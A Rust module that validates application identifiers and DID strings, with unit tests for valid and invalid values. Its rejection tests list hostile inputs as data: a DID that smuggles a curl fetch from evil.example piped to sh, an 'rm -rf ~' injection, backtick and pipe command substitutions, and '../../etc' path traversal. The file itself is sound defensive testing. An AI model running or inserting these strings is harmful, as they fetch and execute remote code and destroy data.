pub const MAX_IDENTIFIER_LEN: usize = 64;
#[derive(Debug, Clone, PartialEq, Eq, thiserror::Error)]
#[error("{0}")]
pub struct ValidationError(pub String);
pub fn validate_identifier(label: &str, value: &str) -> Result<(), ValidationError> {
if value.is_empty() {
return Err(ValidationError(format!("{label} must not be empty")));
}
if value.len() > MAX_IDENTIFIER_LEN {
return Err(ValidationError(format!(
"{label} is {} bytes; maximum is {MAX_IDENTIFIER_LEN}",
value.len()
)));
}
for (i, ch) in value.chars().enumerate() {
let ok = ch.is_ascii_alphanumeric() || ch == '.' || ch == '_' || ch == '-';
if !ok {
return Err(ValidationError(format!(
"{label} contains an invalid character {ch:?} at position {i}; \
allowed: A-Z, a-z, 0-9, '.', '_', '-'"
)));
}
}
Ok(())
}
pub const MAX_DID_CORE_LEN: usize = 1024;
pub fn validate_did_core(label: &str, value: &str) -> Result<(), ValidationError> {
let bad = |why: &str| Err(ValidationError(format!("{label} is not a DID: {why}")));
if value.len() > MAX_DID_CORE_LEN {
return bad("too long");
}
let Some(rest) = value.strip_prefix("did:") else {
return bad("it must start with `did:`");
};
let Some((method, msid)) = rest.split_once(':') else {
return bad("it has no method-specific identifier");
};
if method.is_empty()
|| !method
.bytes()
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit())
{
return bad("the method name must be lowercase letters and digits");
}
let b = msid.as_bytes();
if b.is_empty() || b[b.len() - 1] == b':' {
return bad("the method-specific identifier must end in an identifier character");
}
let mut i = 0;
while i < b.len() {
match b[i] {
c if c.is_ascii_alphanumeric() || matches!(c, b'.' | b'-' | b'_' | b':') => i += 1,
b'%' if i + 2 < b.len()
&& b[i + 1].is_ascii_hexdigit()
&& b[i + 2].is_ascii_hexdigit() =>
{
i += 3
}
b'%' => return bad("a `%` must begin a percent-encoded octet"),
_ => {
return bad(
"only letters, digits, `.`, `-`, `_`, `:` and percent-encoded octets may \
appear after the method",
);
}
}
}
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn accepts_common_identifier_shapes() {
for ok in [
"myapp",
"My-App_1",
"context.v2",
"a",
"0",
"didcomm-mediator",
"_private",
"CamelCase",
] {
validate_identifier("id", ok).unwrap_or_else(|e| panic!("{ok:?} rejected: {e:?}"));
}
}
#[test]
fn rejects_empty() {
let err = validate_identifier("id", "").expect_err("empty must be rejected");
assert_eq!(err.0, "id must not be empty");
}
#[test]
fn rejects_separator_injection() {
for bad in [
"global:evil", "../../etc", "a:b:c", "my/ctx", "with space", "tab\there", "with\nnewline", "null\0byte", "unicode:§§", "quote\"injected", ] {
validate_identifier("id", bad).expect_err(&format!("{bad:?} must be rejected"));
}
}
#[test]
fn rejects_too_long() {
let long = "a".repeat(MAX_IDENTIFIER_LEN + 1);
validate_identifier("id", &long).expect_err("overlong must be rejected");
}
#[test]
fn accepts_exactly_at_limit() {
let edge = "a".repeat(MAX_IDENTIFIER_LEN);
validate_identifier("id", &edge).expect("exactly-at-limit must pass");
}
#[test]
fn error_message_names_the_field() {
let err = validate_identifier("context_id", "bad:id").expect_err("rejected");
assert!(
err.0.contains("context_id"),
"error must name the field it is validating — got {}",
err.0
);
}
#[test]
fn validate_did_core_accepts_did_core_dids() {
for ok in [
"did:key:z6MkhaXgBZDvotDkL5257faiztiGiC2QtKLGpbnnEGta2doK",
"did:webvh:QmSCID:example.com",
"did:web:example.com:user:alice",
"did:web:example.com%3A8443",
"did:peer:2.Ez6LS_x-y",
"did:example::a",
] {
validate_did_core("did", ok).unwrap_or_else(|e| panic!("{ok:?} rejected: {e:?}"));
}
}
#[test]
fn validate_did_core_rejects_everything_else() {
for bad in [
"",
"did:",
"did:web",
"did:web:",
"did::x",
"did:Web:x",
"did:we-b:x",
"did:web:x:",
"did:web:x.example$(curl${IFS}-s${IFS}evil.example|sh)",
"did:web:x;rm -rf ~",
"did:web:x`id`",
"did:web:x|sh",
"did:web:x&y",
"did:web:x'y",
"did:web:x\"y",
"did:web:x y",
"did:web:x\ty",
"did:web:x\ny",
"did:web:x/path",
"did:web:x?query",
"did:web:x#frag",
"did:web:x%",
"did:web:x%4",
"did:web:x%zz",
"did:web:§",
"not-a-did",
] {
validate_did_core("did", bad).expect_err(&format!("{bad:?} must be rejected"));
}
let long = format!("did:key:{}", "a".repeat(MAX_DID_CORE_LEN));
validate_did_core("did", &long).expect_err("overlong must be rejected");
}
}